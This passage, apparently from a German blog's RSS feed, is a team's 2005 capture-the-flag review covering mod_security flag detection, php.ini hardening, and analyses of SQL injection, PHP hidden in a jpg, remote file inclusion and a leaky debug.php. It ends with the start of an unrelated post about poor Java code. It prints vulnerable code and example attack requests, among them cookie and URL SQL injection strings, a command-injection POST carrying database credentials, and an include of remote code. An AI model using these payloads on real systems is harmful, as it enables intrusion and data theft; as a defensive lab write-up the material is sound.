&lt;h3&gt;Flagdetection&lt;/h3&gt;&lt;br /&gt;
Die Flagdetection erwies sich als sehr nützlich, erfordert aber eine Analyse der Botzugriffe um Angriffe von Botzugriffen zu unterscheiden. Da diese Analyse während des Wettbewerbs nicht durchgeführt wurde, gab es leider teilweise Fehlalarme.&lt;br /&gt;
Insgesamt gingen ab Konfiguration der Flagdetection 376 Flags über den Apache von uns aus nach draußen. Davon waren zwei Flags vorsätzlich erzeugte Fake-Flags. Die Flagdetection wurde leider nicht sofort angeschaltet sondern erst ab 06:55:37. D.h. alle Angaben bezgl. der Anzahl ausgehender Flags über den Webserver beinhalten nicht die Anzahl ausgehender Flags vor diesem Zeitpunkt.&lt;br /&gt;
&lt;br /&gt;
&lt;h4&gt;Konfigurationsanweisung um ausgehende Flags zu erkennen:&lt;/h4&gt;&lt;br /&gt;
&lt;div class=&quot;bb-code-title&quot;&gt;CODE:&lt;/div&gt;&lt;div class=&quot;bb-code&quot;&gt;SecFilterScanOutput&amp;#160;on&lt;br /&gt;
SecFilterSelective&amp;#160;OUTPUT&amp;#160;&quot;MTN&quot;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;h4&gt;Beispiel für eine Flagdetection-Warnung (short-Format):&lt;/h4&gt;&lt;br /&gt;
&lt;div class=&quot;bb-code-title&quot;&gt;CODE:&lt;/div&gt;&lt;div class=&quot;bb-code&quot;&gt;&amp;#91;Fri&amp;#160;Jun&amp;#160;10&amp;#160;06&amp;#58;55&amp;#58;44&amp;#160;2005&amp;#93;&amp;#160;&amp;#91;error&amp;#93;&amp;#160;&amp;#91;client&amp;#160;10.8.1.233&amp;#93;&amp;#160;mod_security&amp;#58;&amp;#160;Warning.&amp;#160;Pattern&amp;#160;match&amp;#160;&quot;MTN&quot;&amp;#160;at&amp;#160;OUTPUT&amp;#160;&amp;#91;hostname&amp;#160;&quot;10.7.1.3&quot;&amp;#93;&amp;#160;&amp;#91;uri&amp;#160;&quot;/~estore/cgi-bin/debug.php&quot;&amp;#93;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;h4&gt;Beispiel für eine Flagdetection-Warnung (long-Format):&lt;/h4&gt;&lt;br /&gt;
&lt;div class=&quot;bb-code-title&quot;&gt;CODE:&lt;/div&gt;&lt;div class=&quot;bb-code&quot;&gt;========================================&lt;br /&gt;
Request&amp;#58;&amp;#160;10.8.1.233&amp;#160;-&amp;#160;-&amp;#160;&amp;#91;10/Jun/2005&amp;#58;06&amp;#58;55&amp;#58;44&amp;#160;--0700&amp;#93;&lt;br /&gt;
&quot;GET&amp;#160;/~estore/cgi-bin/debug.php&amp;#160;HTTP/1.1&quot;&amp;#160;200&amp;#160;10987&lt;br /&gt;
Handler&amp;#58;&amp;#160;cgi-script&lt;br /&gt;
----------------------------------------&lt;br /&gt;
GET&amp;#160;/~estore/cgi-bin/debug.php&amp;#160;HTTP/1.1&lt;br /&gt;
Host&amp;#58;&amp;#160;10.7.1.3&lt;br /&gt;
User-Agent&amp;#58;&amp;#160;Mozilla/5.0&amp;#160;&amp;#40;Windows;&amp;#160;U;&amp;#160;Windows&amp;#160;NT&amp;#160;5.1;&amp;#160;en-US;&lt;br /&gt;
rv&amp;#58;1.7.8&amp;#41;&amp;#160;Gecko/20050511&amp;#160;Firefox/1.0.4&lt;br /&gt;
Accept&amp;#58;&amp;#160;text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,&amp;#42;/&amp;#42;;q=0.5&lt;br /&gt;
Accept-Language&amp;#58;&amp;#160;en-us,en;q=0.5&lt;br /&gt;
Accept-Encoding&amp;#58;&amp;#160;gzip,deflate&lt;br /&gt;
Accept-Charset&amp;#58;&amp;#160;ISO-8859-1,utf-8;q=0.7,&amp;#42;;q=0.7&lt;br /&gt;
Keep-Alive&amp;#58;&amp;#160;300&lt;br /&gt;
Connection&amp;#58;&amp;#160;keep-alive&lt;br /&gt;
Cache-Control&amp;#58;&amp;#160;max-age=0&lt;br /&gt;
mod_security-message&amp;#58;&amp;#160;Warning.&amp;#160;Pattern&amp;#160;match&amp;#160;&quot;MTN&quot;&amp;#160;at&amp;#160;OUTPUT&lt;br /&gt;
HTTP/1.1&amp;#160;200&amp;#160;OK&lt;br /&gt;
Keep-Alive&amp;#58;&amp;#160;timeout=15,&amp;#160;max=100&lt;br /&gt;
Connection&amp;#58;&amp;#160;Keep-Alive&lt;br /&gt;
Transfer-Encoding&amp;#58;&amp;#160;chunked&lt;br /&gt;
Content-Type&amp;#58;&amp;#160;text/html&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;h4&gt;Erkennen von Scans&lt;/h4&gt;&lt;br /&gt;
Die Regeln zum Erkennen von Scans erwiesen sich leider als nicht ausreichend. Kein Team hat einen Webserverscan mit &lt;a href=&quot;http://www.insecure.org/nmap/&quot; target=&quot;_blank&quot;&gt;nmap&lt;/a&gt; oder &lt;a href=&quot;http://www.nessus.org/&quot; target=&quot;_blank&quot;&gt;Nessus&lt;/a&gt; gemacht. Allerdings fand sich beim Durchschauen der Logs Zugriffe von einem weiteren Scanner: &lt;a href=&quot;http://www.cirt.net/code/nikto.shtml&quot; target=&quot;_blank&quot;&gt;Nikto&lt;/a&gt;. Dieser wurde leider durch die Regeln nicht erfasst.&lt;br /&gt;
&lt;br /&gt;
&lt;h4&gt;Auswertung&lt;/h4&gt;&lt;br /&gt;
Durch das AuditLog von modSecurity wird die Auswertung der Webangriffe wesentlich erleichtert. Zwar loggt Apache standardmässig schon viel im access-log mit, allerdings muss man zur Analyse von HTTP-Angriffen per POST schon den aufgezeichneten Traffic durchsehen.&lt;br /&gt;
Ein Beispiel für einen Angriff über POST – access-log:&lt;br /&gt;
&lt;div class=&quot;bb-code-title&quot;&gt;CODE:&lt;/div&gt;&lt;div class=&quot;bb-code&quot;&gt;10.3.1.1&amp;#160;-&amp;#160;-&amp;#160;&amp;#91;10/Jun/2005&amp;#58;08&amp;#58;31&amp;#58;40&amp;#160;-0700&amp;#93;&amp;#160;&quot;POST&amp;#160;/~contact/cgi-bin/contact_query.pl&amp;#160;HTTP/1.1&quot;&amp;#160;200&amp;#160;708&amp;#160;&quot;-&quot;&amp;#160;&quot;libwww-perl/5.803&quot;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
und der Eintrag zu demselben Angriff im Auditlog:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;bb-code-title&quot;&gt;CODE:&lt;/div&gt;&lt;div class=&quot;bb-code&quot;&gt;Request&amp;#58;&amp;#160;10.3.1.1&amp;#160;-&amp;#160;-&amp;#160;&amp;#91;10/Jun/2005&amp;#58;08&amp;#58;31&amp;#58;40&amp;#160;--0700&amp;#93;&amp;#160;&quot;POST&amp;#160;/~contact/cgi-bin/contact_query.pl&amp;#160;HTTP/1.1&quot;&amp;#160;200&amp;#160;708&lt;br /&gt;
Handler&amp;#58;&amp;#160;cgi-script&lt;br /&gt;
----------------------------------------&lt;br /&gt;
POST&amp;#160;/~contact/cgi-bin/contact_query.pl&amp;#160;HTTP/1.1&lt;br /&gt;
Connection&amp;#58;&amp;#160;close&lt;br /&gt;
Host&amp;#58;&amp;#160;10.7.1.3&lt;br /&gt;
User-Agent&amp;#58;&amp;#160;libwww-perl/5.803&lt;br /&gt;
Content-Type&amp;#58;&amp;#160;application/x-www-form-urlencoded&lt;br /&gt;
Content-Length&amp;#58;&amp;#160;106&lt;br /&gt;
106&lt;br /&gt;
&amp;#60;strong&amp;#62;identity=mysql%20-u%20corpdbuser%20-pbasstard%20-D%20corpdb%20-e%20&#039;select%20&amp;#42;%20from%20employees&#039;&amp;amp;debug=1&amp;#60;/strong&amp;#62;&lt;br /&gt;
HTTP/1.1&amp;#160;200&amp;#160;OK&lt;br /&gt;
Connection&amp;#58;&amp;#160;close&lt;br /&gt;
Transfer-Encoding&amp;#58;&amp;#160;chunked&lt;br /&gt;
Content-Type&amp;#58;&amp;#160;text/html&lt;/div&gt;&lt;br /&gt;
Es ist ersichtlich, dass die wichtige Information (hier fett hervorgehoben) erst im Auditlog sichtbar wird. Dadurch kann ein Angriff nicht mehr durch Verwenden von POST und Cookies versteckt werden.&lt;br /&gt;
Leider wurde die Option alle Requests zu loggen erst später genutzt (Aktivierung um 08:01:29).&lt;br /&gt;
Probleme bei der Analyse entstanden dadurch, dass der Server zur Live-Entwicklung und Testen verwendet wurde – Zugriffe vom eigenen Team mussten rausgefiltert werden und Entwicklungsfehlermeldungen machten das Lesen der Logs schwerer.&lt;br /&gt;
&lt;br /&gt;
&lt;!--nextpage--&gt;&lt;br /&gt;
&lt;h2&gt;Abwehrmassnahmen - Änderungen php.ini&lt;/h2&gt;&lt;br /&gt;
Folgende Änderungen wurden an der php.infi für PHP-CGI:&lt;br /&gt;
&lt;ul&gt;&lt;br /&gt;
	&lt;li&gt;expose_php auf Off&lt;br /&gt;
Damit wollten wir vermeiden, dass eventl. Updates von PHP nicht für die anderen Teams sichtbar sind. Über Umwege wie Easteregg-URLs kann man jedoch immer noch die Version herausbekommen.&lt;br /&gt;
&lt;/li&gt;&lt;br /&gt;
	&lt;li&gt;error_reporting auf E_COMPILE|E_ERROR|E_CORE_ERROR&lt;br /&gt;
Indem man das Error-Reporting auf absolute Fehler setzt, erschwert man dem Angreifer u.a. bei der Remote-Command-Execution die Fehlersuche. Das damit auch das Debuggen für das eigene Team erschwert wird, ist nicht von Belang, da auf dem eigentlichen Server nicht entwickelt werden soll.&lt;br /&gt;
Eigentlich ist diese Einstellung nicht nötig, da im nächsten Punkt die Fehleranzeige komplett abgeschaltet wird.&lt;br /&gt;
&lt;/li&gt;&lt;br /&gt;
	&lt;li&gt;display_errors auf Off&lt;br /&gt;
Wie beim vorigen Punkt beschrieben, erschwert die fehlende Fehleranzeige einiges. Aus diesem Grund wird hier die Fehleranzeige komplett ausgeschaltet.&lt;br /&gt;
&lt;/li&gt;&lt;br /&gt;
	&lt;li&gt;log_errors auf On&lt;br /&gt;
Da unser Team selber wieder die Fehler sehen will, werden alle auftretende Fehler in ein extra Log geschriebenen (sie landen gleichzeitig auf im error-Log von Apache)&lt;br /&gt;
&lt;/li&gt;&lt;br /&gt;
	&lt;li&gt;error_log auf /var/log/apache2/php-error.log&lt;/li&gt;&lt;br /&gt;
&lt;br /&gt;
	&lt;li&gt;register_globals auf Off&lt;br /&gt;
Nachdem alle Skripte überprüft und notfalls für diese Option nachbearbeitet wurden, wurde register_globals ausgeschaltet. Durch diese Option bekommt der Entwickler die Kontrolle darüber welche Variablen von außen gesetzt werden.&lt;br /&gt;
&lt;/li&gt;&lt;br /&gt;
	&lt;li&gt;allow_url_fopen auf Off&lt;br /&gt;
Diese Option ermöglicht u.a. das Nachladen von Code von externen Servern. Details finden sich bei der Analyse der Remote-File-Inclusion.&lt;/li&gt;&lt;br /&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;!--nextpage--&gt;&lt;br /&gt;
&lt;h2&gt;Angriffe/Exploits&lt;/h2&gt;&lt;br /&gt;
&lt;h3&gt;SQL-Injection&lt;/h3&gt;&lt;br /&gt;
Es gab diverse Möglichkeiten im estore eine SQL-Injection auszuführen.&lt;br /&gt;
&lt;h4&gt;checkcookie&lt;/h4&gt;&lt;br /&gt;
Diese Lücke blieb bis zum Ende unentdeckt. Der relevante Teil der Funktion checkcookie sieht so aus:&lt;br /&gt;
&lt;div class=&quot;bb-code-title&quot;&gt;CODE:&lt;/div&gt;&lt;div class=&quot;bb-code&quot;&gt;function&amp;#160;checkcookie&amp;#40;$db,&amp;#160;$cookie&amp;#41;&amp;#160;{&lt;br /&gt;
//&amp;#160;&amp;#91;..&amp;#93;&lt;br /&gt;
$st&amp;#160;=&amp;#160;$db-&amp;#62;prepare&amp;#40;&quot;SELECT&amp;#160;&amp;#42;&amp;#160;FROM&amp;#160;users&amp;#160;WHERE&amp;#160;cookie=&#039;${cookie}&#039;&quot;&amp;#41;;&lt;/div&gt;&lt;br /&gt;
Die Variable $cookie wird hier und bei den Aufrufern (buy.php, logout.php, process_buy.php, process_logout.php, process_sell.php und sell.php) nicht geprüft.&lt;br /&gt;
Einzige Schwierigkeit bei der Ausnutzung dieser Lücke besteht darin, dass das Resultset nicht ausgegeben wird. Weiterhin darf von der Query nur eine Zeile zurückgeliefert werden.&lt;br /&gt;
&lt;h5&gt;Beispiel:&lt;/h5&gt;&lt;br /&gt;
&lt;div class=&quot;bb-code-title&quot;&gt;CODE:&lt;/div&gt;&lt;div class=&quot;bb-code&quot;&gt;GET&amp;#160;/~estore/cgi-bin/update.php&lt;br /&gt;
Cookie&amp;#58;&amp;#160;auth=KQhrBhVRAhtYr%3A%27+or+%271%27%3D%271%3A1118415326%3A297292884&lt;/div&gt;&lt;br /&gt;
&lt;h5&gt;Ausnutzung:&lt;/h5&gt;&lt;br /&gt;
Es wurde zweimal probiert diese Lücke bei uns auszunutzen (seit Einschalten des erweiterten Loggings von modSecurity). Da der Dienst zu diesem Zeitpunkt aber down war (aus anderen Gründen), hatten die beiden Angriffe keinen Erfolg und wurden scheinbar eingestellt.&lt;br /&gt;
&lt;h5&gt;Fazit:&lt;/h5&gt;&lt;br /&gt;
&lt;ul&gt;&lt;br /&gt;
	&lt;li&gt;Jede Input-Variable prüfen&lt;/li&gt;&lt;br /&gt;
	&lt;li&gt;AuditLog sofort anschalten&lt;/li&gt;&lt;br /&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;h4&gt;buy.php sowie $username&lt;/h4&gt;&lt;br /&gt;
Es scheint so, als ob die Lücke gefixt werden wollte, aber es wurden scheinbar Variablennamen verwechselt.&lt;br /&gt;
Es wurde zwar die Ausgabe von checkcookie mit mysql_escape_string geprüft:&lt;br /&gt;
&lt;div class=&quot;bb-code-title&quot;&gt;CODE:&lt;/div&gt;&lt;div class=&quot;bb-code&quot;&gt;$username&amp;#160;=&amp;#160;mysql_escape_string&amp;#40;checkcookie&amp;#40;$db,&amp;#160;$auth&amp;#41;&amp;#41;;&lt;/div&gt;&lt;br /&gt;
aber diese Variable wird nicht mehr weiter genutzt – sondern $user:&lt;br /&gt;
&lt;div class=&quot;bb-code-title&quot;&gt;CODE:&lt;/div&gt;&lt;div class=&quot;bb-code&quot;&gt;$st&amp;#160;=&amp;#160;$db-&amp;#62;prepare&amp;#40;&quot;SELECT&amp;#160;&amp;#42;&amp;#160;FROM&amp;#160;items&amp;#160;WHERE&amp;#160;buyer&amp;#160;IS&amp;#160;NULL&amp;#160;AND&amp;#160;seller&amp;#60;&amp;#62;&#039;$user&#039;&quot;&amp;#41;;&lt;/div&gt;&lt;br /&gt;
&lt;h5&gt;Ausnutzung:&lt;/h5&gt;&lt;br /&gt;
Zwar war diese Lücke nicht ausnutzbar, da $user nicht von außen gesetzt werden konnte (register_globals war ja off), aber dadurch war die Funktionalität der buy.php auch nicht mehr gegeben.&lt;br /&gt;
Die Ausgabe von checkcookie selber müsste nicht per mysql_escape_string behandelt werden, da der Username direkt aus der Datenbank ausgelesen wird und somit schon beim Anlegen gefilter wurde.&lt;br /&gt;
&lt;h5&gt;Fazit:&lt;/h5&gt;&lt;br /&gt;
&lt;ul&gt;&lt;br /&gt;
	&lt;li&gt;Variablen sorgfältiger prüfen&lt;/li&gt;&lt;br /&gt;
	&lt;li&gt;register_globals wenn möglich ausschalten&lt;/li&gt;&lt;br /&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;h4&gt;process_buy.php&lt;/h4&gt;&lt;br /&gt;
Der Parameter $items wird nicht überprüft und bietet die Möglichkeit der SQL-Injection.&lt;br /&gt;
&lt;div class=&quot;bb-code-title&quot;&gt;CODE:&lt;/div&gt;&lt;div class=&quot;bb-code&quot;&gt;foreach&amp;#40;${items}&amp;#160;as&amp;#160;${item}&amp;#41;&amp;#160;{&lt;br /&gt;
$st&amp;#160;=&amp;#160;$db-&amp;#62;prepare&amp;#40;&quot;UPDATE&amp;#160;items&amp;#160;SET&amp;#160;buyer=&#039;${username}&#039;&amp;#160;WHERE&amp;#160;id=&#039;${item}&#039;&quot;&amp;#41;;&lt;/div&gt;&lt;br /&gt;
&lt;h5&gt;Ausnutzung:&lt;/h5&gt;&lt;br /&gt;
Es wurde eventl. einmal diese Lücke ausgenutzt (vor dem Einschalten der des erweiterten Loggings von modSecurity).&lt;br /&gt;
&lt;h5&gt;Fazit:&lt;/h5&gt;&lt;br /&gt;
&lt;ul&gt;&lt;br /&gt;
	&lt;li&gt;Sicherheitstechnisch gut gefixt, allerdings wäre die Nutzung von Prepared Statements aus Performancesicht besser.&lt;/li&gt;&lt;br /&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;h4&gt;process_sell.php&lt;/h4&gt;&lt;br /&gt;
Drei Variablen wurden nicht geprüft:&lt;br /&gt;
&lt;div class=&quot;bb-code-title&quot;&gt;CODE:&lt;/div&gt;&lt;div class=&quot;bb-code&quot;&gt;$name&amp;#160;=&amp;#160;$_POST&amp;#91;&#039;name&#039;&amp;#93;;&lt;br /&gt;
$description&amp;#160;=&amp;#160;$_POST&amp;#91;&#039;description&#039;&amp;#93;;&lt;br /&gt;
$price&amp;#160;=&amp;#160;$_POST&amp;#91;&#039;price&#039;&amp;#93;;&lt;br /&gt;
//&amp;#160;&amp;#91;..&amp;#93;&lt;br /&gt;
$st&amp;#160;=&amp;#160;$db-&amp;#62;prepare&amp;#40;&quot;INSERT&amp;#160;INTO&amp;#160;items&amp;#160;&amp;#40;seller,&amp;#160;name,&amp;#160;description,&amp;#160;price&amp;#41;&amp;#160;VALUES&amp;#160;&amp;#40;&#039;${username}&#039;,&amp;#160;&#039;${name}&#039;,&lt;br /&gt;
&#039;${description}&#039;,&amp;#160;&#039;${price}&#039;&amp;#41;&quot;&amp;#41;;&lt;/div&gt;&lt;br /&gt;
&lt;h5&gt;Ausnutzung:&lt;/h5&gt;&lt;br /&gt;
Diese Lücke wurde maximal 19-mal ausgenutzt (genaue Daten liegen nicht vor, da ausgenutzt vor der Aktivierung vom Auditlog von modSecurity).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;h4&gt;process_update.php&lt;/h4&gt;&lt;br /&gt;
Wie auch bei process_sell.php wurden drei Variablen nicht überprüft:&lt;br /&gt;
&lt;div class=&quot;bb-code-title&quot;&gt;CODE:&lt;/div&gt;&lt;div class=&quot;bb-code&quot;&gt;$username&amp;#160;=&amp;#160;$_GET&amp;#91;&#039;username&#039;&amp;#93;;&lt;br /&gt;
$password&amp;#160;=&amp;#160;$_GET&amp;#91;&#039;password&#039;&amp;#93;;&lt;br /&gt;
$newemail&amp;#160;=&amp;#160;$_GET&amp;#91;&#039;newemail&#039;&amp;#93;;&lt;br /&gt;
//&amp;#160;&amp;#91;..&amp;#93;&lt;br /&gt;
$st&amp;#160;=&amp;#160;$db-&amp;#62;prepare&amp;#40;&quot;SELECT&amp;#160;&amp;#42;&amp;#160;FROM&amp;#160;users&amp;#160;WHERE&amp;#160;username=&#039;${username}&#039;&amp;#160;AND&amp;#160;password=&#039;${password}&#039;&quot;&amp;#41;;&lt;br /&gt;
//&amp;#160;&amp;#91;..&amp;#93;&lt;br /&gt;
$st&amp;#160;=&amp;#160;$db-&amp;#62;prepare&amp;#40;&quot;UPDATE&amp;#160;users&amp;#160;SET&amp;#160;email=&#039;${newemail}&#039;&amp;#160;WHERE&amp;#160;username=&#039;${username}&#039;&quot;&amp;#41;;&lt;/div&gt;&lt;br /&gt;
&lt;h5&gt;Beispiel:&lt;/h5&gt;&lt;br /&gt;
&lt;div class=&quot;bb-code-title&quot;&gt;CODE:&lt;/div&gt;&lt;div class=&quot;bb-code&quot;&gt;GET&amp;#160;/~estore/cgi-bin/process_update.php?debug=1&amp;amp;password=&#039;%20OR%20email%20LIKE%20&#039;%==&lt;/div&gt;&lt;br /&gt;
&lt;h5&gt;Ausnutzung:&lt;/h5&gt;&lt;br /&gt;
Diese Lücke wurde 31-mal ausgenutzt. Allerdings scheiterte der Angriff an den Basis-Regeln von modSecurity:&lt;br /&gt;
&lt;div class=&quot;bb-code-title&quot;&gt;CODE:&lt;/div&gt;&lt;div class=&quot;bb-code&quot;&gt;mod_security-message&amp;#58;&amp;#160;Error&amp;#160;normalizing&amp;#160;REQUEST_URI&amp;#58;&amp;#160;Invalid&amp;#160;URL&amp;#160;encoding&amp;#160;detected&amp;#58;&amp;#160;invalid&amp;#160;characters&amp;#160;used&lt;br /&gt;
mod_security-action&amp;#58;&amp;#160;403&lt;/div&gt;&lt;br /&gt;
Problem war &quot;%==&quot; - der Webbrowser hätte das &quot;%&quot; als %25 kodieren müssen.&lt;br /&gt;
Fazit:&lt;br /&gt;
&lt;ul&gt;&lt;br /&gt;
	&lt;li&gt;modSecurity hilft schon mit den Standardregeln&lt;/li&gt;&lt;br /&gt;
	&lt;li&gt;Nicht mit dem &quot;Internet Explorer&quot; versuchen zu hacken – er kodierte die URL nicht ordentlich&lt;/li&gt;&lt;br /&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;!--nextpage--&gt;&lt;br /&gt;
&lt;h4&gt;Versteckter PHP-Code in xxx.jpg&lt;/h4&gt;&lt;br /&gt;
Es gab 143 Dateien mit der Endung .php* auf dem System. Davon waren 15 Dateien dem User estore zuzuordnen, der Rest war die PEAR-Bibliothek. Diese 15 PHP-Dateien werden über das PHP-CGI-Modul ausgeführt.&lt;br /&gt;
Allerdings war PHP-Code in der Datei xxx.jpg (auch im public_html vom User estore) versteckt.&lt;br /&gt;
Dieser Code ist per Default nicht von extern aufrufbar, da Apache2 nur *.php an PHP weitergibt. Allerdings konnte diese Datei auch bei ausgeschaltetem allow_url_fopen wie bei der Remote-File-Inclusion eingebunden und somit ausgeführt werden. Wie der Exploit grundsätzlich funktioniert wird in Remote-File-Inclusion erklärt.&lt;br /&gt;
&lt;h5&gt;Beispiel:&lt;/h5&gt;&lt;br /&gt;
&lt;div class=&quot;bb-code-title&quot;&gt;CODE:&lt;/div&gt;&lt;div class=&quot;bb-code&quot;&gt;GET&amp;#160;/~estore/cgi-bin/createuser.php.php?menu=../xxx.jpg&lt;/div&gt;&lt;br /&gt;
&lt;h5&gt;Ausnutzung:&lt;/h5&gt;&lt;br /&gt;
Insgesamt wurde bei uns 127-mal versucht die Lücke auszunutzen. Allerdings gingen uns über diesen Exploit nur 3 Flags an Aachen verloren (erste Ausnutzung um 7:00:58 und letzte erfolgreiche Ausnutzung um 07:04:16).&lt;br /&gt;
&lt;h5&gt;Fazit:&lt;/h5&gt;&lt;br /&gt;
&lt;ul&gt;&lt;br /&gt;
	&lt;li&gt;Suchen nach PHP-Dateien nicht nur nach Dateiendung sondern auch nach Inhalt (beispielsweise fgrep -Ri &#039;&lt; ?php&#039; /dir1 /dir2)&lt;/li&gt;&lt;br /&gt;
	&lt;/li&gt;&lt;li&gt;Einfaches Ausschalten von allow_url_fopen alleine bringt nur teilweise Sicherheit.&lt;br /&gt;
Sobald lokale Dateien schon vorhanden oder es die Möglichkeit gibt Dateien auf dem Server abzulegen, wird allow_url_fopen unwirksam&lt;br /&gt;
&lt;/li&gt;&lt;br /&gt;
	&lt;li&gt;Überprüfen welche Dateienendungen Apache2 veranlasst die Datei an den PHP-Parser zu&lt;br /&gt;
schicken&lt;/li&gt;&lt;br /&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;h4&gt;Remote-File-Inclusion&lt;/h4&gt;&lt;br /&gt;
Falls das Team allow_url_fopen in der INI-Datei von PHP4-CGI nicht abgeschaltet hatte, gab es die Möglichkeit beliebige Dateien remote zu laden und aufzuführen.&lt;br /&gt;
Diese Lücke entstand durch ein nicht geprüftes include in ~estore/public_html/cgi-bin/myfuncs.php – die wichtigen Codezeilen dazu:&lt;br /&gt;
&lt;div class=&quot;bb-code-title&quot;&gt;CODE:&lt;/div&gt;&lt;div class=&quot;bb-code&quot;&gt;&amp;#60;&amp;#160;?php&lt;br /&gt;
function&amp;#160;myheader&amp;#40;$title&amp;#41;&lt;br /&gt;
{&lt;br /&gt;
$menu&amp;#160;=&amp;#160;$_GET&amp;#91;&quot;menu&quot;&amp;#93;;&lt;br /&gt;
//&amp;#160;&amp;#91;..&amp;#93;&lt;br /&gt;
include&amp;#40;$menu&amp;#41;;&lt;br /&gt;
//&amp;#160;&amp;#91;..&amp;#93;&lt;br /&gt;
}&lt;br /&gt;
//&amp;#160;&amp;#91;..&amp;#93;&lt;br /&gt;
?&amp;#62;&lt;/div&gt;&lt;br /&gt;
Diese myfuncs.php wurde in einigen PHP-Dateien vom estore per require eingebunden.&lt;br /&gt;
Beispiel:&lt;br /&gt;
&lt;div class=&quot;bb-code-title&quot;&gt;CODE:&lt;/div&gt;&lt;div class=&quot;bb-code&quot;&gt;GET&amp;#160;/~estore/cgi-bin/createuser.php?menu=http&amp;#58;//10.7.1.3/test.txt&lt;/div&gt;&lt;br /&gt;
Hier wird die Datei test.txt vom Server 10.7.1.3 über http nachgeladen und ausgeführt.&lt;br /&gt;
&lt;h5&gt;Ausnutzung:&lt;/h5&gt;&lt;br /&gt;
Durch diese Lücke wurde es uns möglich eine Shell bei drei Teams zu erlangen – mehr dazu unter Remote-Shell per SSH-Publickey.&lt;br /&gt;
Es wurde nicht probiert die Include-Lücke zum Nachladen von Code bei uns auszunutzen. Ein solcher Angriff hätte allerdings bei uns auch keinen Erfolg gehabt, da sofort zu Begin allow_url_fopen ausgeschaltet wurde.&lt;br /&gt;
&lt;h5&gt;Fazit:&lt;/h5&gt;&lt;br /&gt;
&lt;ul&gt;&lt;br /&gt;
	&lt;li&gt;allow_url_fopen sollte auf jedenfall ausgeschaltet werden&lt;/li&gt;&lt;br /&gt;
	&lt;li&gt;Wir brauchen einen Rechner, über den man eine Datei laden kann. Hier im Beispiel und auch im Wettbewerb wurde der eigene Server benutzt, so dass es die Möglichkeit gegeben hätte, den von uns geschriebenen Code gegen uns selber zu verwenden.&lt;/li&gt;&lt;br /&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;h4&gt;Debug.php&lt;/h4&gt;&lt;br /&gt;
Über die debug.php vom estore konnte man ohne weiteren Aufwand den Inhalt der kompletten estore-User-Tabelle bekommen.&lt;br /&gt;
Der Fix bestand darin, allen Users die Rechte auf die Datei zu entziehen. Am Ende wurde jedoch noch eine Ausgabe einer Fake-Flag eingebaut, was die Analyse leicht erschwert hat, da diese Fake-Flag wiederum von modSecurity als ausgehende Flag gewertet wurde. Der Sinn dieser Ausgabe ist allerdings zweifelhaft da das Layout nicht mehr der ursprünglichen Ausgabe übereinstimmte.&lt;br /&gt;
&lt;h5&gt;Ausnutzung:&lt;/h5&gt;&lt;br /&gt;
Insgesamt wurde die Datei bei uns 243-mal aufgerufen. Unser Team hat über die debug.php 47 Flags verloren (erste Ausnutzung um 06:32:02 und letzte erfolgreiche Ausnutzung um 06:57:07).&lt;br /&gt;
&lt;h5&gt;Fazit:&lt;/h5&gt;&lt;br /&gt;
&lt;ul&gt;&lt;br /&gt;
	&lt;li&gt;Generell sollten debug-Dateien/-Parameter besonderen Augenmerk erhalten.&lt;/li&gt;&lt;br /&gt;
	&lt;li&gt;Falls Fake-Flags ausgegeben werden sollte das Layout identisch mit dem Ursprünglichen sein.&lt;/li&gt;&lt;br /&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;!--nextpage--&gt;&lt;br /&gt;
&lt;h4&gt;Remote-Shell per SSH-Publickey&lt;/h4&gt;&lt;br /&gt;
Diese Methode werde ich hier absichtlich nicht veröffentlichen. Dieser Angriff wurde von vielen Teams nicht erwartet und ist immer noch sehr effektiv &lt;img src=&quot;http://blog.jensthebrain.de/templates/default/img/emoticons/smile.png&quot; alt=&quot;:-)&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt; 
    </content:encoded>

    <pubDate>Thu, 15 Dec 2005 23:07:28 +0100</pubDate>
    <guid isPermaLink="false">http://blog.jensthebrain.de/archives/2005/12/15/137</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc/2.5/</creativeCommons:license><category>Coding</category>
<category>General</category>
<category>Hacking</category>
<category>Linux</category>
<category>Studium</category>

</item>
<item>
    <title>Java-Code zum würgen</title>
    <link>http://blog.jensthebrain.de/archives/2005/10/03/Java-Code-zum-wuergen</link>
            <category>Coding</category>
            <category>Studium</category>
    
    <comments>http://blog.jensthebrain.de/archives/2005/10/03/Java-Code-zum-wuergen#comments</comments>
    <wfw:comment>http://blog.jensthebrain.de/wfwcomment.php?cid=125</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://blog.jensthebrain.de/rss.php?version=2.0&amp;type=comments&amp;cid=125</wfw:commentRss>
    

    <author>nospam@example.com (Jtb)</author>
    <content:encoded>
    Für die Uni bin ich z.Z. an einem größeren Projekt: eine vorhandene Software in Java um S/MIME-Funktionen erweitern.&lt;br /&gt;
Diese Software heißt &lt;a href=&quot;http://zoe.nu/&quot; target=&quot;_blank&quot;&gt;ZOË&lt;/a&gt; und hängt sich zwischen Mailclient und Mailserver - gut beschrieben unter &lt;a href=&quot;http://www.linuxnetmag.com/de/issue9/m9zoe1.html&quot; target=&quot;_blank&quot;&gt;ZoE - Mail-Aggregator&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
Der erste Blick auf den Code zeigte schon, dass der Code nicht allzu schön ist, aber nach ein paar Wochen Coding zeigt sich, dass der Code einfach grottenschlecht ist. Eigentlich ein Wunder, dass es nicht von außen zu erkennen ist.&lt;br /&gt;
&lt;br /&gt;
